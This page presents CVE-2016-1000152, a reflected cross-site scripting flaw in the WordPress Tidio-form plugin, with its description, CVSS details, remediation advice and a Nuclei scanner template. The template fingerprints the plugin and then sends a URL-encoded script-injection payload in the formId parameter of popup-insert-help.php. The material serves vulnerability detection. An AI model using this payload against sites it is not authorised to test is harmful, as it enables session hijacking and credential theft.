CVE-2016-1000152: WordPress Tidio-form <=1.0 - Cross-Site Scripting

2025-08-01 WordPress Tidio-form PoC Public

Description

WordPress tidio-form1.0 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2016-1000152

info:
  name: WordPress Tidio-form <=1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress tidio-form1.0 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the Tidio-form plugin (version >1.0) to mitigate the XSS vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=799
    - https://wordpress.org/plugins/tidio-form
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000152
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000152
    cwe-id: CWE-79
    epss-score: 0.04173
    epss-percentile: 0.90386
    cpe: cpe:2.3:a:tidio-form_project:tidio-form:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "tidio-form_project"
    product: "tidio-form"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,tidio-form_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/tidio-form/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Easy Contact Form Builder ='

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/tidio-form/popup-insert-help.php?formId=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-1000152.yaml

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